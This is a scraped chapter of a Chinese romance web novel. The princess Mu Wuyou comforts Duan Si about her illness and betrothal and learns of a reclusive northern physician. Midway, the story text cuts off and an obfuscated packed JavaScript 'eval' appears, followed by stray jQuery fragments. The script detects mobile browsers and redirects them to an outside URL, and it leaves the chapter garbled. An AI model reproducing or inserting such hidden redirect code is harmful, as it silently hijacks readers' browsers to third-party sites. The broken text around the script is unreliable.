21. 医仙

作品:《王妃,您快跑!

    “姐姐是如何知道我是南安王妃的?”沐梧悠提着湿重的裙摆上了端府的台阶。


    “我爹爹说近日南安王会奉命前往北地救灾,这一行人中只有你是女子,况且你与王爷的举止又甚是亲密,所以……”


    沐梧悠恍然大悟,可是她觉得自己并没有和萧尧走得有多近,怎么外人都能猜出她的身份?


    难不成真的如端姒姐姐说的一样,举止过于亲密了?她平时根本没有注意到这件事,看来以后还是得离他远一点儿才好。


    虽说那晚因为自己眼睛的问题,克妻一事恐有作假的成分,只是目前她还没有充足的证据说明是假,所以两两保持些距离还是好的。


    “王妃在想什么?”


    端姒一语点醒了正出神的她,她吸溜了两下鼻子,双手背在背后,故作正经:“哦!我在想我们中间是不是有一位姐姐钟情的人!”


    端姒停下脚步皱眉,显得格外茫然:“王妃怎知?”


    见端姒姐姐停了下来,她也跟着停下了,调皮地伸出了两根手指戳了戳自己的眼睛,逗她道。


    “姐姐还说我举止亲密呢,自己个儿的那颗眼珠子差点都要蹦到人家身上去了,姐姐居然还问我怎么知道的!”


    端姒没有显得过于高兴,反而那一抹潜在的笑意还带着几分惆怅,沐梧悠眼尖,一眼就瞧出了异样。


    “姐姐怎么了,有心爱之人怎么还不高兴呢?”


    端姒悠然道:“说到此事,这还得怨我……”


    “什么意思?”


    “两年前我突生了一场大病,几乎快要摸到了阎王殿内,好巧不巧遇到了一位医师,那时的他初学医道拜了一位厉害的师父,经他之手我这病情也算好了一半,可至此也过上了依靠汤药为生的日子……”


    “我猜那位医师就是沈林舟吧!”


    端姒继续说道。


    “王妃猜的不错,他多次来我府中为我治病,一来二去我们也算熟络了起来,他心肠也是极好的,事事为我着想,父亲见他是个谦谦君子,便有意与他互换了婚书……”


    这贪官虽贪,看人的功夫却还可以。


    沐梧悠惊喜道:“婚书都换了呀!看来姐姐要抱得佳夫归喽!”


    “王妃就别取笑我了,可这才是难处呢……,也不是说我无意于他,只是我这身体实不敢高攀,且说这病治不好需得常年汤药维持,他日真若与他结了亲,那岂不是蹉跎了他大半辈子,怎叫我好生过得去……”


    越往下说端姒的表情越发凝重起来,她能感受到她这副身子早就不行了,不过是用药材提着的。


    加上这个月大雪,家中药材耗尽,沈林舟便出了北地去更远的地方为她采药,不曾想这一去便接连几日失了音讯,她在家中焦急无奈,思虑了许多,想着她一羸弱之躯,实不堪其为良配。


    不仅害得他为自己的病情殚精竭虑,还害得他差点将这命丢在了外面。


    “我打算找个机会将实情说与他听,好把婚书换回来,以免耽误他的良缘。”


    沐梧悠握着端姒的手,细心宽慰她。


    “姐姐千万不要这般想,爱一人哪怕生死又有何惧,他正是对你有着真心,才会愿意冒着生命危险替你寻药,不爱你又怎会付出这些,你要是真拒绝了他,那最后遗憾的可就不止你一人了。”


    端姒释然地笑了笑:“王妃看着比我小,不曾想这感情上的道理懂得却比我这个姐姐多!”


    沐梧悠面红耳赤,双手无地安放。


    她懂得可不是很多嘛,上辈子逝于南安王府,与萧尧的那段情缘也算是孽缘了吧,再怎么也是经历过两段感情的人,这道理自然懂得要比一般人多一些。


    “姐姐忘记了,虽然我年纪小,但是我也是有夫君的人。”


    端姒轻抬起皓腕,用纤细的玉指遮住了朱唇,眉眼刹那间绽开了花儿。


    “王妃与王爷的感情甚笃,一般人可羡慕着呢!”


    她的这番话让沐梧悠的情绪一下子从山峰跌到了山谷里,这段感情本就是意外,说不定不存在的话对双方会更好。


    她抽搐了两下嘴角,心如止水:“是啊,不知道的可羡慕了。”


    ……


    沐梧悠进了端家的宅院后,院内不大不奢,仆从屈指可数,不像是多豪华的主儿。


    几间屋子内的陈设也极为简朴,院内的花草都像是从别的山野里挖来种植上的,没有几棵名贵的珍植,湿暗的砖瓦和石阶上布满了青苔,因走的人少一直无人清理,如今台上冰雪覆盖,显得更滑了些。


    甚至连冬日里的炭火都准备的不怎么充足,唯有端姒居住的屋子内看起来好一些,想必她应该是被端吏山捧在手心里长大的,再者她的病情也不允许她受苦。


    “这贪官老头儿城府还真是深沉,也不知道他将贪墨的那些钱财使用于何处去了?”


    沐梧悠小声呢喃着,双眼打量着这宅院。


    她转了许久,连身上的衣裳湿了这件事都已经忘了。


    直到端姒看见她这般样子,才道:“还望王妃不要嫌弃寒舍,爹爹不爱奢华,因此宅院简陋了些,委屈王妃了。”


    沐梧悠摆手道。


    “不委屈的不委屈的,这天寒地冻的姐姐肯借我衣裳穿已经是莫大的恩惠了,等这里的事儿解决了我再来好好感谢姐姐!”


    说完,端姒对着门外的婢女低语了几句,婢女拿来了几年前她曾经穿过的衣裳放在了桌上。


    她试了试,那衣裳正好合她的身,不过看起来有些年头了,衣服还染上了陈年的霉味。


    那穿得有些泛白了的毛边,不禁让她开始怀疑自己的想法,生活如此朴素,外面皆传端吏山饕餮无厌,这传言到底是真是假?


    如若是真,钱财藏于用于何地?如若是假,那外人所传谣言从何处起?


    不管端吏山是好是坏,但想来端姒应是不坏的。


    “端姒姐姐,你人真好,我喜欢你,你叫我王妃显得怪生分的,不如就叫我阿悠吧!”


    她拉着沐梧悠坐了下来,侍女上了一盏热茶给她暖暖身子:“北地天寒,阿悠妹妹还是别着凉了,喝杯热茶吧。”


    沐梧悠捧着茶盏暖了暖手,随后一口饮尽。


    从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241178|181151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    京城到北地本就耽搁了不少时日,等助萧尧解决完北地的灾情后,还是早早地寻到北地医师,早早地离开南安王府才是正事。


    “姐姐刚才提到了沈林舟的师父,我听我夫君说北地有一位医师,可医死人肉白骨,医术堪称大荣绝技,只是多年来隐居避世,不愿见这世人,姐姐生于北地,想必一定对这位医师有所耳闻,不知姐姐可为我解答一二?”


    端姒摆了摆头,起身在这屋中踱步:“提及他,这话可就长了……”


    数年前,北地忽然出现了一位异服男子,样貌着装皆与大荣有所不同,甚至行为举止都有似疯魔之症,北地的人只当他是受了什么刺激,亦或是被邪气鬼魂缠了身,日日远避着他还来不及。


    某日中秋,正值阖家团圆之际,不知何处传来的蚊虫在这北地肆虐,凡是被此种蚊虫咬过之人,都会生一种怪病,以头痛、寒战、壮热为主,传染力极强且易反复发作。


    不出三日,整个归梦城内的百姓都遭此劫难,纷纷倒于卧榻之侧。


    北地医师翻查古籍,从未寻到此种病症,为解决疫病,数次辗转于医馆与病区之间,可仍旧束手无策。


    那异服男子见了,耻笑大荣无有能人,北地医师称他狂妄自大,不敬先贤。


    他口中只道“疟疾”二字,后又根据病症下以柴胡截疟饮或何人饮,前者可和解表里,导邪外出,后者则益气养血,扶正祛邪。


    果不其然,该药用于百姓之中,活者接连,解了北地万千之灾。


    前因百姓传他恶语故意疏远,后因北地医师对他言语莽撞,导致这位异服男子怀恨在心,便找了一处远僻清净的地儿独自生活去了,后人想拜他为师皆不得其道。


    沐梧悠听着越发来了精神,她好奇追问道:“那异服男子通晓医理,即使心中对百姓多有怨恨,却依旧能舍下恩怨救其性命,倒是难得。”


    “后来百姓感激于他,他却说他对祖师爷发了誓言,行医之人不可因私心罔顾性命,古往今来做至如此能有几人?”


    “这位医师性子古怪,见不得他人诽谤,自疟疾一事过后,他怕是再也不想出世了,敢问姐姐,那我要如何才能找到他?”


    “别的办法倒是没有,不过有一条捷径可以走,那医师避世前说过,倘若再出现难以解决的病情,可携官府所下达的悬赏文书于九暮山请他出世,妹妹或可一试!”


    这医师还挺有原则性,一般人见都不见,居然还需得拿出官府文书才能请得动他!


    沐梧悠撑着脑袋郁郁寡欢道:“这官府文书岂是我想拿到就能拿到的,现实没有发生病情,若上报到官府那儿就是谎报,那我的这颗脑袋还要不要了!”


    端姒安抚道:“我爹爹是北地的官员,要不我去求求他?”


    求谁?


    端吏山吗?


    时间如同凝固了一般,沐梧悠傻傻地愣住了。


    端姒姐姐去求他爹爹,万一萧尧真拿捏住了他爹贪污的证据,他反过来死抓这件事反咬自己一口有勾结之嫌怎么办?


    这可万万使不得,再怎么也不能让人掐住三寸。